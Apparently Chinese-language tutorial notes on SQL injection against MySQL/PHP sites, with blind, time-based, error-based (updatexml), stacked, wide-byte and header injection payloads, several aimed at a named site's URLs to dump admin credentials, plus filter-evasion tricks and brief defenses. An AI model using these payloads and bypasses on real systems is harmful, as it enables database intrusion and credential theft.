一、盲注攻击
a.常用方法
1.判断当前主数据库版本
left(version(),1)=5#
2.判断数据库密码
之前类似,爆库、表、列,无非换成判断条件。
and ascii(substring((select password from users where id =1),1,1))=49
3.利用事件延迟判断正误
union select if(substring(password,1,1)='a',benchmark(10000,sha1(1)),0)
User,Password from mysql.user where User='root'
b.流程
1.寻找注入点
’,恒真恒假
2.获取信息
1…获取目标数据库的版本信息,当前数据库的库名,数据库用户名和密码。
获取流程:
1.判断长度,例如user()
1' AND length(user())=1#
2.利用mid函数查询当前用户第一个字符ASCII是否大于140
use1' AND ascii(mid(user(),1,1))>140#
use1' AND mid(user(),1,1)='r
3.利用时间判断。
1‘ union if(length(user())='1',sleep(3),1)#
1' union if(length(user())='1',benchmark(10000,rand()),1)#
二、报错注入攻击
错误信息显示到页面上。
攻击语句如下
爆数据库版本信息
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct
concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct
concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1
爆字段
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct
concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct
concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
1.利用updatexml()获取语句
concat 与 concat_ws
1)、concat()函数
1、功能:将多个字符串连接成一个字符串。
2、语法:concat(str1, str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
2)、concat_ws()函数
1、功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)
2、语法:concat_ws(separator, str1, str2, …)
说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。
2.提取数据
1. insert进行dump
INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or updatexml(0,
concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1)),0) or '',
'ohmygod_is_r00tgrok');
2. delete进行dump
DELETE FROM users WHERE id=1 or updatexml(0,
concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1)),0) or '';
3.update进行dump
同一个表不能用update进行dump,不同的表却可以
UPDATE students SET name='Nicky' or Updatexml(1,
concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM newdb.users limit 0,1)),0) or' '
WHERE id=1;
3.总结
具体可参考https://www.cnblogs.com/babers/articles/7252401.html
三、其他各种注入
1.时间注入
1' and if (ord(substring(user(),1,1))=144,sleep(3),1)#
2.堆叠注入
执行多条语句
’ ;select if(substr(user(),1,1)='r',sleep(3),1)#
3.二次注入攻击
当前页面有转义,另一个页面未转义。
4.宽字节注入
id=1%df' union select 1,user(),3 %23
5.cookie注入
cookie中含有参数id=1。
对此进行注入。
6.base64注入
对值进行base64
7.XFF注入
将XFF修改成 127.0.0.1’ ,观察页面,出现与 127.0.0.1结果不同,则存在注入漏洞。
可以尝试
127.0.0.1’ union select 1,2,3,4#
四、绕过方法和防护手段
1.参数长度检测和绕过
a.防护思路
PHP中,通过strlen()检查输入长度,进行判断。
b.攻击手段
1.考虑简短语句来绕过,先测 or 1=1
2.尝试添加注释符来改变句意。 如 test'-- .
(–后有空格)
2.危险参数过滤
a.防护思路
1.黑名单
2.白名单
3.参数转义
b.攻击手段
1)黑名单绕过
1. 使用大小写
2. 使用SQL注释
'/**/UNION/**/SELECT/**/password/**/FROM/**/tablusers/**/
WHERE/**/username/**/like/**/'admin
执行SQL语句时候,会自动忽视注释符,此针对空格
3. Like 代替 ’=‘
4. 嵌套
5. 用+
号 实现对危险字符的拆分
a' 'o'+'r' '1'=1'
6.利用系统的注释符截断--
结果如下
select * from users where username='admin' -- and password='xx'
7.< 尖括号过滤绕过。
用between、greatest绕过
select ord(substring(user(),1,1)) between 114 and 114
select greatest(ascii(user(),1,1),140)=140
8.逗号过滤绕过方式
使用from x for y绕过
select substr(user() from 1 for 1)
9.空格过滤绕过方式
用/**/代替空格
10.编码绕过
由于服务器会对URL进行一次解码,所以需要将关键词编码 2 次,需要选择URL全编码,而非普通的URL编码。
11.内联注释绕过
/* .... */ 在大部分语言中都一样是注释。这个之中的语句是不被执行的。
但MYSQL中 为了保持兼容,比如从mysqldump 导出的SQL语句能被其它数据库直接使用,它把一些特有的仅在MYSQL上的语句放在 /*! ... */
中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行。
id=1 /*!and*/ 1=1
成功使得关键字绕过。
2)转义
MYSQL转义过程:
MYSQL收到请求,将数据从character_set_client转换为 character_set_connerction.进行内部操作前将请求数据从character_set_connerction转为内部操作字符集。再将内部操作字符集转为character_set_result.
宽字节绕过。-------------PHP使用character_set_client进行编码,如果编码是(GBK系列)会存在宽字节注入漏洞。
3.参数化查询
a.防护思路
数据库服务器在数据库完成SQL指令的编译后,才套用参数进行(预编译)